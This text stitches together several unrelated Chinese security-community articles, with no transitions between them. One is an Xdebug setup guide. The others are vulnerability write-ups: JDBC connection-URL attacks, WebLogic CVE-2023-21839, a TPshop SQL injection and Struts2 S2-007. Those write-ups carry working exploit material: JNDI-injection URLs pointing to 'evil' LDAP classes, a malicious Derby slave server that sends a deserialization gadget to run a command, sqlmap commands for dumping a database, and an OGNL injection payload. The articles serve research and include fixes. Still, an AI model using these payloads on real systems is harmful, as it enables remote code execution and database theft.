在 DB2 中，Litch1 找到了 `clientRerouteServerListJNDINameIdentifies`。这个属性的作用是什么呢？如下：
It's a JNDI reference to a DB2ClientRerouteServerList instance in a JNDI
repository of reroute server `information.clientRerouteServerListJNDIName`
applies only to IBM Data Server Driver for JDBC and SQLJ type 4 connectivity,
and to connections that are established through the DataSource interface.
翻译成人话，就是这个 JDBC URL 配置可以导致 JNDI 注入。
POC 如下:
public static void main(String[] args) throws Exception {
Class.forName("com.ibm.db2.jcc.DB2Driver");
DriverManager.getConnection("jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/evilClass;");
}
## ModeShape
[ModeShape](https://modeshape.jboss.org/) 是一个 JCR(Java Content Repository)
的实现，使用 JCR API 来从其他系统中获取数据，例如文件系统、 JDBC 元数据等。
Repository 源可以配置成 `jdbc:jcr:jndi:jcr:?repositoryName=repository`.
很明显又是一个 JNDI 注入，如下:
public static void main(String[] args) throws Exception {
Class.forName("org.modeshape.jdbc.LocalJcrDriver");
// A JNDI URL that points the hierarchical database to an evil LDAP service
DriverManager.getConnection("jdbc:jcr:jndi:ldap://127.0.0.1:1389/evilClass");
}
## Apache Derby
Apache Derby 像 h2 一样，有时会被内嵌在一些系统中。在 derby 驱动源代码中 Litch1 在
`org.apache.derby.impl.store.replication.net.SocketConnection`
类中找到了一个可疑的反序列化调用。
然后他发现了一个内部类 `ReplicationMessageTransmit$MasterReceiverThread` 调用了这个方法。
`ReplicationMessageTransmit` 类是在配置了 `startMaster=true` 和 `slaveHost=127.0.0.2`
之后用来在主从服务器之间拷贝数据的。
如果我们将 slaveHost 字段配置成为了恶意的服务器，derby 会建立 JDBC 连接并读取恶意数据，`MasterReceiverThread`
调用 `readMessage` 方法，恶意服务器将返回恶意代码并触发反序列化利用。
POC 如下:
public static void main(String[] args) throws Exception{
Class.forName("org.apache.derby.jdbc.EmbeddedDriver");
DriverManager.getConnection("jdbc:derby:webdb;startMaster=true;slaveHost=evil_server_ip");
}
恶意的 SLAVE 服务器如下:
public class EvilSlaveServer {
public static void main(String[] args) throws Exception {
int port = 4851;
ServerSocket server = new ServerSocket(port);
Socket socket = server.accept();
socket.getOutputStream().write(Serializer.serialize(new CommonsBeanutils1().getObject("open -a Calculator")));
socket.getOutputStream().flush();
Thread.sleep(TimeUnit.SECONDS.toMillis(5));
socket.close();
server.close();
}
}
## SQLite
在使用 SQLite 时， `org.sqlite.core.CoreConnection#open` 方法会在与服务器建立连接时被调用。
这个方法提供了一个特性: 如果 connection URL 以 `:resource:` 开头，将会调用 `extractResource` 方法从
URL 连接获取数据库内容。
`extractResource()`方法代码如下:
从这个方法我们可以看出，当我们的连接 URL 如下
`jdbc:sqlite::resource:http://127.0.0.1:8888/poc.db`，SQLite 会尝试请求地址并从中读取内容。
这首先无疑是个 SSRF，但是 SSRF 是不够的。
那么当我们能控制 JDBC URL 和数据库文件内容时，该如何执行攻击呢？
根据 "[SELECT code_execution FROM * USING
SQLite;](https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/)"，我们可以使用 ”CREATE VIEW“ 不可控的 SELECT 语句转换为可控的 SELECT 语句。
如果我们可以控制 SELECT 语句，我们可以使用 `SELECT load_extension('/tmp/test.so')` 来加载 dll/so
并执行恶意代码，但是在实际环境中，并不是经常能遇见服务器上文件可控的情况，而且 load_extension 默认是不开启的。
除了常见的漏洞之外，我们还可以使用 SQLite 中的内存损坏例如 “Magellan” 来导致JVM崩溃。（超出知识范围）
# 如何防御
以上就是 Litch1 研究和总结的全部攻击 JDBC Connection URL 的相关内容。
这一部分讨论一下开源软件都是怎么抵御 JDBC 攻击的。
**Apache Druid CVE-2021-26919 补丁**
**Apache DolphinScheduler CVE-2020-11974 补丁**
我们可以利用属性过滤器解析器和 JDBC 驱动程序解析器之间的差异，并使用它绕过安全补丁。
# Java Service Provider Interface
SPI 技术用于加载 JDBC 连接器的驱动程序。
5.1.48 版本的 mysql connector，注册了两个 JDBC 驱动器。除了常规的
`com.mysql.cj.jdbc.Driver`，还有一个`com.mysql.fabric.jdbc.FabricMySQLDriver`。
MySQL Fabric 是一个用于管理 MySQL 服务器群的系统。MySQL Fabric 提供了一个广泛且易于使用的系统，用于管理 MySQL
部署以实现共享和高可用性。
Litch1 研究了 FabricMySQLDriver 的源码，发现如果 connection url 以 `jdbc:mysql:fabric://`
开头，程序将会进入 Fabric 的处理逻辑。
并将向主机发送一个 XMLRPC 请求。
关键的代码点都在上面两张 PPT 中，在使用 Fabric 驱动时，在建立 JDBC 连接后，会自动触发一个 XMLRPC 请求，这显然是一个 SSRF。
但某位大牛曾经说过，SSRF 是 RCE 的起手式。Litch1 继续深挖，发现了在处理相应数据时产生的 XXE 漏洞。
所以漏洞触发过程很简单，建立连接，解析 XML，PPT 中给出了恶意服务端的 python 源代码。
# 总结
全部的测试环境和代码已经公开在了 Github 项目中，请移步查看：<https://github.com/su18/JDBC-Attack>
# 彩蛋
在群聊赛博回忆录中，有师傅提到，PostgreSQL Connection URL 有几个参数可以导致问题，研究了一下之后发现可以
getshell，目前没有更新在项目中，这里作为彩蛋提一下，有兴趣的师傅自行研究吧~
# 引用
<https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf>
[https://conference.hitb.org/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf](https://conference.hitb.org/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf)
<https://paper.seebug.org/1227/>
<https://www.cnblogs.com/Welk1n/p/12056097.html>
<https://github.com/fnmsd/MySQL_Fake_Server>
<https://github.com/Gifts/Rogue-MySql-Server>
<https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload>
<https://github.com/alibaba/cobar>
<https://www.anquanke.com/post/id/203086>
<https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-interceptors.html>
<http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/>
<https://www.slideshare.net/qqlan/database-honeypot-by-design-25195927>
<https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html>
<https://lorexxar.cn/2020/01/14/css-mysql-chain/>
<https://xz.aliyun.com/t/3973>
<http://www.h2database.com/html/features.html#connection_modes>
<https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/>
<https://pyn3rd.github.io/>
* * * | 社区文章 |
## 前言
網上有不少類似的文章，都是大牛們發的，而我僅僅是發一下自己搭建的過程，Mark以下！
## Nginx
下載安裝我就不說了，主要是說配置。
在nginx.conf等配置文件增添一個虛擬站點
lister 80
server_name virink.vir
root /path/www/
然後，把virink.vir添加到/etc/hosts裡面
127.0.0.1 virink.vir
## Mysql
這個直接就是官網下載了
[下載(我這裡是mac環境)](http://dev.mysql.com/get/Downloads/MySQL-5.7/mysql-5.7.17-macos10.12-x86_64.dmg)
選擇對應系統下載安裝就好了。
## PHP
這個安裝的方法也很多，我這裡使用源碼安裝
詳情參見：[Make and install php 5.6.28 for
mac](https://www.virzz.com/2016/11/27/Make%20and%20install%20php%205.6.28%20for%20mac.html)
## XDebug
到官網<https://xdebug.org下載對應版本的dll或者so，修改php.ini加入>
[XDebug]
// 插件路徑
zend_extension = /path/xdebug.so
// or 直接放在配置的擴展目錄
//zend_extension = xdebug.so
// 開啟遠程調試
xdebug.remote_enable=1
// 遠程端口，不能被佔用
xdebug.remote_port=9090
// 綁定IP模式
xdebug.remote_host=10.0.1.42
// 反彈模式
// xdebug.remote_connect_back＝1
因為我本地php-fpm使用了9000端口，所以用9090，各位按需選擇
### 單IP模式
* IDE位於IP 10.0.1.42上，因此xdebug.remote_host設置為10.0.1.42
* Xdebug連接到10.0.1.42:9000
### 多IP模式
* 發出HTTP請求後，Xdebug將從HTTP頭中檢測IP地址
* Xdebug連接到端口9000上檢測到的IP（10.0.1.42）
[下載頁面](https://xdebug.org/download.php)
[遠程調試](https://xdebug.org/docs/remote)
## PHPStorm
<https://www.jetbrains.com/phpstorm/>
## 配置
### 配置項目運行PHP環境
窗口右上角的下三角按鈕，編輯配置
新建一個遠程調試環境
配置 IDE key 為 PHPSTORM ，並且創建添加一個本地服務
我這裡就添加一個本地調試的環境
### PHP Debug 配置
打開PHPStorm配置，找到 Languages & Frameworks -> PHP -> Debug
修改端口，與php.ini相同
## 瀏覽器(Chrome)配置
[Xdebug helper](https://chrome.google.com/webstore/detail/xdebug-helper/eadndfjplgieldjbigjakmdgkmoaaaoc)
下載安裝這個擴展
進入其選項，修改IDE key并保持
## 測試
點擊調試按鈕（蟲子~~~）
然後在調試器就顯示等待調試了
然後打開index.php文件，在最開始的地方下斷點
接著到瀏覽器進行訪問
Just do it!
## 結束語
over~~一個簡單的調試環境就ok了 | 社区文章 |
# CVE-2023-21839 WebLogic Server RCE分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 项目介绍
WebLogic是美国Oracle公司出品的一个application
server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java
Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
## 漏洞描述
WebLogic存在远程代码执行漏洞，该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议网络访问并破坏易受攻击的WebLogic服务器，成功利用此漏洞可能导致Oracle
WebLogic服务器被接管或敏感信息泄露。漏洞原理其实是通过Weblogic
t3/iiop协议支持远程绑定对象bind到服务端，当远程对象继承自OpaqueReference时，lookup查看远程对象时，服务端调用远程对象getReferent方法，其中的remoteJNDIName参数可控，导致攻击者可利用rmi/ldap远程协议进行远程命令执行。
#
## 利用范围
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
##
## 漏洞分析
### **环境搭建**
本次漏洞分析复现的版本为：Oracle WebLogic Server 12.2.1.3
weblogic10 及以后的版本，不能直接使用server/lib 目录下的 weblogic.jar 了，需要手动执行一个命令生成手动生成
wlfullclient.jar
新建JAVA项目，导入生成的wlfullclient.jar
POC如下图所示：
### **动态分析**
漏洞POC
从POC代码上来看，核心的部分是方法中将通过调用getInitialContext方法创建一个InitialContext对象；使用反射访问和修改ForeignOpaqueReference对象中的私有字段jndiEnvironment和emoteJNDIName，调用InitialContext对象的bind方法，将ForeignOpaqueReference对象绑定到JNDI服务，最后调用InitialContext对象的lookup方法，执行查找。
**漏洞利用类之一：** weblogic.deployment.jms.ForeignOpaqueReference
分析ForeignOpaqueReference这个类，其实继承了QpaqueReference接口
而QpaqueReference在官方文档中提示了当实现此接口的对象从 WLContext 中检索（通过查找或 listBindings）时，由
getReferent() 返回对象。
其实就也明白了为什么在POC中远程绑定了ForeignOpaqueReference对象，实际是因为ForeignOpaqueReference继承QpaqueReference，在远程查询该对象的时候，调用的将会是ForeignOpaqueReference.getReferent方法。
接下来就一步步分析一下weblogic.deployment.jms.ForeignOpaqueReference.getReferent（）方法。
在后续的进行lookup操作之前会检查 JNDI
环境是否已正确配置以访问远程资源，主要是对jndiEnvironment和remoteJNDIName的检测，如果在if中的任何一个条件为真，那么将调用对象的lookup方法，如果
if
语句中的所有条件都为假，则会进入检查cachedReferent字段的阶段。结合上面方框的代码其实可以发现，只要this.jndiEnvironment不为空，就可以对InitialContext进行初始化，this.jndiEnvironment也可以使用反射的方式进行赋值。
通过retVal =
context.lookup(evalMacros(this.remoteJNDIName))的实现，便可以利用rmi/ldap远程协议进行命令执行。
后续调试，进入bind方法，可以看到绑定的对象中通过反射对remoteJNDIName 和 jndiEnvironment属性赋值。
ClusteravleRemoteRef.invoke
后续调试其实发现已经远程获取并加载了恶意类。
并成功利用ldap协议进行远程命令执行。
在weblogic.jndi.internal.ForeignOpaqueReference这个类下同样可以利用IIOP协议实现JNDI注入。
## 漏洞复现
#
## 漏洞建议
1、目前Oracle已经修复该漏洞并发布补丁，受影响的用户可参考官方通告及时下载并更新补丁，下载地址：https://support.oracle.com/rs?type=doc&id=2917213.2。
2、通过控制T3协议的访问来阻断利用T3协议的漏洞攻击。
3、通过关闭IIOP协议来阻断利用IIOP协议的漏洞攻击。
## 参考材料
1.Oracle Critical Patch Update Advisory – January 2023
2.https://www.pingsafe.com/blog/cve-2023-21839-oracle-weblogic-server-core-patch-advisory
3.https://docs.oracle.com/html/E80373_03/weblogic/jndi/OpaqueReference.html
https://docs.oracle.com/en/ | 社区文章 |
### **0x01 前言**
> [TPshop](http://www.tp-shop.cn/ "TPshop")开源商城系统( [Thinkphp
> shop](http://www.tp-shop.cn/ "Thinkphp shop")的简称
> )，是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城，系统PC+后台是基于[ThinkPHP](http://www.thinkphp.cn/
> "ThinkPHP")
> MVC构架开发的跨平台开源软件，设计得非常灵活，具有模块化架构体系和丰富的功能，易于与第三方应用系统无缝集成，在设计上，包含相当全面，以模块化架构体系，让应用组合变得相当灵活，功能也相当丰富。
### **0x02 代码分析**
跟踪到 **/Application/mobile/Controller/Index.php** 中的 **index2** 方法
> 66 Line: 获取用户从get输入的参数id的值并赋值给$id
> 67 Line: 获取用户从get输入的参数role的值并赋值给$role
> 69 Line: 判断$role是否为真
> 70 Line: 将$id拼接到where语句中
> 73 Line: 判断$id是否为真
> 75 Line: 将$id拼接到where语句中
### **0x03 漏洞探测**
<http://localhost:8084/mobile/index/index2/id/1>
<http://localhost:8084/mobile/index/index2/id/1>'
由于id参数可控且未被过滤直接被拼接到where子句中从而造成了SQL注入
### **0x04 漏洞复现**
sqlmap -u "http://172.16.209.129:8084/mobile/index/index2/id/1*" --random-agent --batch --dbms "mysql"
sqlmap -u "http://172.16.209.129:8084/mobile/index/index2/id/1*" --random-agent --batch --dbms "mysql" --current-db
sqlmap -u "http://172.16.209.129:8084/mobile/index/index2/id/1*" --random-agent --batch --dbms "mysql" -D tpshop3.0 --tables
### **0x05 漏洞修复**
将I('get.id')改为I('get.id/d') | 社区文章 |
# Struts2 漏洞分析系列 - S2-007/类型转换到RCE
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 漏洞概述
S2-007的漏洞原理是在处理类型转换的错误时会存入错误到内存中，在后续调用流程中触发OGNL表达式注入。
**影响版本：2.0.0 – 2.2.3**
**复现版本：2.2.3**
官方issue地址：<https://cwiki.apache.org/confluence/display/WW/S2-007>
## 0x01 环境搭建
由于本漏洞发生在Bean中某个Property类型转换时，因此需要我们编写一个Action类：
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport {
private String username;
private String password;
private int age;
public String getUsername() {
return username;
}
public String getPassword() {
return password;
}
public int getAge() {
return age;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public void setAge(int age) {
this.age = age;
}
public String execute() throws Exception{
if (this.username == null || this.password == null) {
return "failed";
}
if (this.username.equals("admin") && this.password.equals("admin")) {
return "success";
}
return "failed";
}
}
接着分别编写两个JSP文件，index.jsp用于模拟用户登陆后的界面，login.jsp用户模拟登陆界面。
index.jsp：
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Admin Console</title>
</head>
<body>
Hello admin
</body>
</html>
login.jsp：
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-007</title>
</head>
<body>
<h2>S2-007 Demo</h2>
<p>link: <a href="https://struts.apache.org/docs/s2-007.html">https://struts.apache.org/docs/s2-007.html</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:textfield name="age" label="age" />
<s:submit></s:submit>
</s:form>
</body>
</html>
接着编写struts.xml用于定义路由以及成功、失败、错误时的渲染页面：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="st2-demo" extends="struts-default">
<action name="login" class="LoginAction">
<result name="success">index.jsp</result>
<result name="failed">login.jsp</result>
<result name="input">login.jsp</result>
</action>
</package>
</struts>
随后配置一下WEB服务器，部署后通过`'+(#application)+'`这个Payload测试是否回显相关信息：
## 0x02 漏洞分析
### 2.0 上报错误
之前介绍过Struts2存在着许多拦截器用于在请求真正执行到execute方法前的封装，其中就有一个ParametersInterceptor，在这里会将请求中的参数赋到当前请求对应的Bean上，请求中的参数一定是String类型的，但是Bean中的数据类型并不一定是String类型的，这个时候会自动进行一个类型转换，当转换发生错误时，会将错误进行记录。
比如`aaa`必然不可能被转为int类型，但如果是`123（String）`还是可以被转为int类型的，具体转换的逻辑我就不在这展开记录了，本文的重点是错误记录部分。
相关代码：
com.opensymphony.xwork2.conversion.impl.XWorkConverter#handleConversionException
protected void handleConversionException(Map<String, Object> context, String property, Object value, Object object) {
if (context != null && Boolean.TRUE.equals(context.get("report.conversion.errors"))) {
String realProperty = property;
String fullName = (String)context.get("conversion.property.fullName");
if (fullName != null) {
realProperty = fullName;
}
Map<String, Object> conversionErrors = (Map)context.get("com.opensymphony.xwork2.ActionContext.conversionErrors");
if (conversionErrors == null) {
conversionErrors = new HashMap();
context.put("com.opensymphony.xwork2.ActionContext.conversionErrors", conversionErrors);
}
((Map)conversionErrors).put(realProperty, value);
}
}
在类型转换过程中触发的异常会通过handleConversionException方法进行搜集，但前提是report.conversion.errors这个键必须为true，默认情况下这个键是为true的。
随后会获取转换出错的property名称以及`com.opensymphony.xwork2.ActionContext.conversionErrors`这个Map并对其进行初始化，最终将property名称以及其对应的值放入这个Map中。
相关调用栈：
handleConversionException:438, XWorkConverter (com.opensymphony.xwork2.conversion.impl)
convertValue:338, XWorkConverter (com.opensymphony.xwork2.conversion.impl)
convertValue:39, OgnlTypeConverterWrapper (com.opensymphony.xwork2.ognl)
getConvertedType:1060, OgnlRuntime (ognl)
getConvertedTypes:1077, OgnlRuntime (ognl)
getConvertedMethodAndArgs:1103, OgnlRuntime (ognl)
getAppropriateMethod:1189, OgnlRuntime (ognl)
callAppropriateMethod:1203, OgnlRuntime (ognl)
setMethodValue:1474, OgnlRuntime (ognl)
setPossibleProperty:85, ObjectPropertyAccessor (ognl)
setProperty:162, ObjectPropertyAccessor (ognl)
setProperty:27, ObjectAccessor (com.opensymphony.xwork2.ognl.accessor)
setProperty:2245, OgnlRuntime (ognl)
setProperty:77, CompoundRootAccessor (com.opensymphony.xwork2.ognl.accessor)
setProperty:2245, OgnlRuntime (ognl)
setValueBody:127, ASTProperty (ognl)
evaluateSetValueBody:220, SimpleNode (ognl)
setValue:301, SimpleNode (ognl)
setValue:737, Ognl (ognl)
setValue:209, OgnlUtil (com.opensymphony.xwork2.ognl)
trySetValue:173, OgnlValueStack (com.opensymphony.xwork2.ognl)
setValue:160, OgnlValueStack (com.opensymphony.xwork2.ognl)
setValue:151, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameters:288, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
doIntercept:199, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:98, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:207, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:98, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:190, StaticParametersInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:75, MultiselectInterceptor (org.apache.struts2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:94, CheckboxInterceptor (org.apache.struts2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:243, FileUploadInterceptor (org.apache.struts2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:100, ModelDrivenInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:141, ScopedModelDrivenInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:270, DebuggingInterceptor (org.apache.struts2.interceptor.debugging)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:145, ChainingInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:171, PrepareInterceptor (com.opensymphony.xwork2.interceptor)
intercept:98, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:176, I18nInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:164, ServletConfigInterceptor (org.apache.struts2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:190, AliasInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:187, ExceptionMappingInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
execute:52, StrutsActionProxy (org.apache.struts2.impl)
serviceAction:498, Dispatcher (org.apache.struts2.dispatcher)
doFilter:434, FilterDispatcher (org.apache.struts2.dispatcher)
internalDoFilter:239, ApplicationFilterChain (org.apache.catalina.core)
doFilter:206, ApplicationFilterChain (org.apache.catalina.core)
invoke:219, StandardWrapperValve (org.apache.catalina.core)
invoke:106, StandardContextValve (org.apache.catalina.core)
invoke:501, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:142, StandardHostValve (org.apache.catalina.core)
invoke:79, ErrorReportValve (org.apache.catalina.valves)
invoke:610, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:88, StandardEngineValve (org.apache.catalina.core)
service:516, CoyoteAdapter (org.apache.catalina.connector)
process:1086, AbstractHttp11Processor (org.apache.coyote.http11)
process:659, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
process:223, Http11NioProtocol$Http11ConnectionHandler (org.apache.coyote.http11)
doRun:1558, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:1515, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
### 2.1 错误处理
前面说到，在ParametersInterceptor进行类型转换时产生的错误会被存入`com.opensymphony.xwork2.ActionContext.conversionErrors`中。
在后续流程中，会使用ConversionErrorInterceptor对前面产生的错误进行处理：
com.opensymphony.xwork2.interceptor.ConversionErrorInterceptor#intercept
public String intercept(ActionInvocation invocation) throws Exception {
ActionContext invocationContext = invocation.getInvocationContext();
Map<String, Object> conversionErrors = invocationContext.getConversionErrors();
ValueStack stack = invocationContext.getValueStack();
HashMap<Object, Object> fakie = null;
Iterator i$ = conversionErrors.entrySet().iterator();
while(i$.hasNext()) {
Entry<String, Object> entry = (Entry)i$.next();
String propertyName = (String)entry.getKey();
Object value = entry.getValue();
if (this.shouldAddError(propertyName, value)) {
String message = XWorkConverter.getConversionErrorMessage(propertyName, stack);
Object action = invocation.getAction();
if (action instanceof ValidationAware) {
ValidationAware va = (ValidationAware)action;
va.addFieldError(propertyName, message);
}
if (fakie == null) {
fakie = new HashMap();
}
fakie.put(propertyName, this.getOverrideExpr(invocation, value));
}
}
if (fakie != null) {
stack.getContext().put("original.property.override", fakie);
invocation.addPreResultListener(new PreResultListener() {
public void beforeResult(ActionInvocation invocation, String resultCode) {
Map<Object, Object> fakie = (Map)invocation.getInvocationContext().get("original.property.override");
if (fakie != null) {
invocation.getStack().setExprOverrides(fakie);
}
}
});
}
return invocation.invoke();
}
这里首先通过getConversionErrors获取到所有的错误，随后通过while循环对错误进行处理，首先获取其key&value，接着通过shouldAddError判断value或propertyName是否为空，如果不为空则继续进入if的代码块中。
在if的代码块中会获取到这个错误对应的message以及当前请求对应的Action，并在Action实现了ValidationAware类的情况下调用其addFielderror方法，但是这都不是重点，重点在下面的fakie.put。
注意看，这里调用了`getOverrideExpr`方法对value进行处理：
protected Object getOverrideExpr(ActionInvocation invocation, Object value) {
ValueStack stack = invocation.getStack();
String var4;
try {
stack.push(value);
var4 = "'" + stack.findValue("top", String.class) + "'";
} finally {
stack.pop();
}
return var4;
}
这里首先将value压入栈中，随后通过top语法取出value并在左右两侧进行一个`'`的拼接，最后通过pop方法取出前面压入栈中的value，并且将上面拼接完毕的value返回，此时我们的Payload由`'+(#application)+'`转为了`''+(#application)+''`，可以发现左右两侧的单引号被我们人为闭合了，这里为后面的漏洞利用埋下了一个伏笔。
在value被拼接完后会被放入fakie中，最后在invocation中添加了一个`PreResultListener`，这里取出了前面的fakie，并且会调用setExprOverrides对其进行处理：
public void setExprOverrides(Map<Object, Object> overrides) {
if (this.overrides == null) {
this.overrides = overrides;
} else {
this.overrides.putAll(overrides);
}
}
setExprOverrides会将传入的overrides赋到this.overrides这个属性上，最后会在模板渲染时，通过`lookupForOverrides`方法从this.overrides中取出某个键对应的值。
private String lookupForOverrides(String expr) {
if (this.overrides != null && this.overrides.containsKey(expr)) {
expr = (String)this.overrides.get(expr);
}
return expr;
}
最终会调用getValue方法处理取出来的值，getValue的过程中会触发OGNL表达式解析，这个在S2-001中有过相关介绍，这里就不重复记录了。
完整调用栈：
tryFindValue:331, OgnlValueStack (com.opensymphony.xwork2.ognl)
tryFindValueWhenExpressionIsNotNull:307, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:293, OgnlValueStack (com.opensymphony.xwork2.ognl)
findValue:350, OgnlValueStack (com.opensymphony.xwork2.ognl)
translateVariables:196, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:115, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:88, TextParseUtil (com.opensymphony.xwork2.util)
findValue:378, Component (org.apache.struts2.components)
evaluateParams:769, UIBean (org.apache.struts2.components)
end:510, UIBean (org.apache.struts2.components)
doEndTag:42, ComponentTagSupport (org.apache.struts2.views.jsp)
_jspx_meth_s_005ftextfield_005f2:18, login_jsp (org.apache.jsp)
_jspx_meth_s_005fform_005f0:18, login_jsp (org.apache.jsp)
_jspService:14, login_jsp (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:725, HttpServlet (javax.servlet.http)
service:431, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:396, JspServlet (org.apache.jasper.servlet)
service:340, JspServlet (org.apache.jasper.servlet)
service:725, HttpServlet (javax.servlet.http)
internalDoFilter:291, ApplicationFilterChain (org.apache.catalina.core)
doFilter:206, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:239, ApplicationFilterChain (org.apache.catalina.core)
doFilter:206, ApplicationFilterChain (org.apache.catalina.core)
invoke:721, ApplicationDispatcher (org.apache.catalina.core)
processRequest:466, ApplicationDispatcher (org.apache.catalina.core)
doForward:391, ApplicationDispatcher (org.apache.catalina.core)
forward:318, ApplicationDispatcher (org.apache.catalina.core)
doExecute:157, ServletDispatcherResult (org.apache.struts2.dispatcher)
execute:186, StrutsResultSupport (org.apache.struts2.dispatcher)
executeResult:373, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:277, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:263, ValidationInterceptor (com.opensymphony.xwork2.validator)
doIntercept:68, AnnotationValidationInterceptor (org.apache.struts2.interceptor.validation)
intercept:98, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:133, ConversionErrorInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:207, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:98, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:207, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:98, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:190, StaticParametersInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:75, MultiselectInterceptor (org.apache.struts2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:94, CheckboxInterceptor (org.apache.struts2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:243, FileUploadInterceptor (org.apache.struts2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:100, ModelDrivenInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:141, ScopedModelDrivenInterceptor (com.opensymphony.xwork2.interceptor)
invoke:248, DefaultActionInvocation (com.opensymphony.xwork2)
